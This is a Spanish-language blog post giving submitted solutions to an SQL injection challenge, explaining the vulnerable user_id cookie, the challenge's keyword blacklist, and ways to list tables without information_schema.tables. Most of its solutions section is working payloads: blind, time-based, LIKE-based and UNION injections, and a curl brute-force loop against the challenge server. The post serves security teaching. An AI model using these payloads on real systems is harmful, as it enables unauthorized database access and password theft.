Soluciones para reto 2A de Inyección SQL

Soluciones para reto 2A de Inyección SQL

Publicado en July 14, 2012 por Roberto Salgado

Después de recibir muchas soluciones para el reto 2A de los retos de inyección SQL, decidí que era hora de mostrar algunas de las soluciones utilizadas para resolver este problema. En caso de que se haya perdido la serie de desafíos de inyección SQL que publiqué hace unos meses, aún los puede encontrar disponibles. Hay 3 desafíos, cada uno con parte A y B. De todos los retos, el 2A terminó siendo uno de los más fáciles, y ya que las soluciones no variaron demasiado, decidí publicar primero las soluciones de este reto.

 

Explicación

IMPORTANTE: Si aún no has intentado el reto, lo puedes encontrar aquí en caso de que lo quieres intentar antes de ver la respuesta.

Lo que diferencía a este reto de los otros es que puedes logearte como invitado. Al hacerlo se crea la cookie user_id y se despliega un mensaje que muestra el nombre de usuario y sus privilegios. La cookie user_id como su nombre lo indica contiene el id del usuario, que es 1 en el caso del invitado. Si el valor de la cookie es cambiado a 0, el mensaje ahora muestra "admin" como el nombre del usuario y con privilegios de administrador. Esto es un indicador de que este puede ser el punto de inyección ya que sabemos que esta consultando esta información en la base de datos. Ahora que conocemos el punto de inyección, el siguiente paso es identificar que caracteres están filtrados.

La idea principal detrás de este reto es encontrar una forma para obtener los nombres de las tablas/columnas sin utilizar information_schema.tables/columns. Por esta razón he decidido utilizar poco filtrado. Inicialmente tenia bloqueados los siguientes caracteres:

$blacklist = array('tables', 'columns', '(', ')');

Muchos WAFs (Web Application Firewalls) bloquean las palabras 'tables' y 'columns', así que quise demostrar que un atacante no necesita esas palabras para obtener los nombres de las tablas y columnas; agregué mysql_real_escape_string() para hacerlo un poco más difícil. En resumen, existen otras tablas de las cuales podemos obtener esta información. La única condición es que algunas requieren que las tablas y columnas tengan una key, y como cada tabla debería tener primary keys, hay una buena posibilidad de que esto funcione. Algunos ejemplos son:

information_schema.key_column_usage

information_schema.table_constraints

information_schema.statistics

information_schema.partitions

 

Algunos de los métodos de solución que recibí no los esperaba a la hora de escribir el reto. Este tipo de solución adivinaba el nombre de las columnas y extraía el password usando Blind SQLi. Previamente debí de haber agregado algún prefijo aleatorio a los nombres de columnas para que no sean adivinados tan fácilmente ya que eran 'username' y 'password'. Aprendí algo en consecuencia de esto: Se que el LIKE statement no requiere comillas, lo que no sabía era que puedes usar wildcards como % y ? sin las comillas. A continuación presento las soluciones enviadas.

 

 

Soluciones

Raz0r/BlackFan:

La solución ha sido omitida ya que puede ser usada para resolver el reto 2B.

Primera Categoría

FluxReiners:

user_id=0 and username='admin' and mid(password,1,1)='e'

Team Rebel:

user_id=0 and 1=(IF(ascii(substring(password,1,1))>100, (select benchmark(100000000,md5(0x41))), false))

p____h:

user_id=0 and password LIKE "el%uitas"

NULL Life:

Mando un script en PHP.

mortis:

user_id=0 and username=0x656c25

tlk:

user_id=-1 OR password LIKE BINARY 0x{chars}25

g4mm4:

user_id=0 and password like binary 0x456c25

Mando un script en Python.

w00d:

user_id=0 and password like 0x[blind-here]25

gijs:

userid=0 and password >= BINARY 0x41

Karion:

for i in {2,3,4,5}; do for j in {0,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G} ; do echo $i$j ; curl http://50.57.51.240/challenges/2A/challenge.php -b "user_id=0 and password LIKE 0x454C5F564552475549544153${i}${j}25" 2>&1 | grep ADMIN ;done ;done

Segunda Categoría

Sebastien Blot:

userid=-1+union+select+1,2,table_name,4+from+information_schema.key_column_usage+limit+2,1--

Miroslav Stampar:

user_id=-1 UNION ALL SELECT 1,2,TABLE_NAME,4 FROM information_schema.TABLE_CONSTRAINTS LIMIT 2,3

Paul da Silva:

userid=-1 union select null,COLUMN_NAME,TABLE_NAME,null from information_schema.KEY_COLUMN_USAGE where table_name<>0x7265676c6173 and table_name<>0x72756c6573 limit 0,1-- 

Dominus:

user_id=0+and+0=1+union+select+1,2,table_name,4+from+information_schema.statistics+limit+2,1 

 

Un listado de todos los ganadores esta disponible aquí.


Últimas entradas en nuestro blog

Diapositivas de congresos anteriores
En los últimos años hemos participado en numerosos congresos. Estas son algunas diapositivas de congresos anteriores.

Panoptic
Un analisis de Panoptic, una herramienta que automatiza el proceso de búsqueda y recuperación de archivos de configuración y logs a través de vulnerabilidades tipo LFI.

Incidente de seguridad en RubyGems.org: vulnerabilidades, explotación y parches
Hace un par de semanas el sitio RubyGems fue vulnerado. ¿Qué podría pasar si algunas gemas del sitio hubieran sido envenenadas de forma exitosa por tan solo un par de horas?

Últimas noticias

Jun 06, 2013
Nuestra participación en el GuadalajaraCON 2013
Roberto Salgado impartió una conferencia sobre inyección SQL que ha sido aceptada para Black Hat y AppSec USA. Paulino Calderón impartió dos talleres, sobre vulnerabilidades en aplicaciones de Android y otro sobre programación NSE.

May 11, 2013
Nuevo servicio de análisis de seguridad de aplicaciones móviles
Enterate de nuestro nuevo servicio de evaluación de seguridad de aplicaciones móviles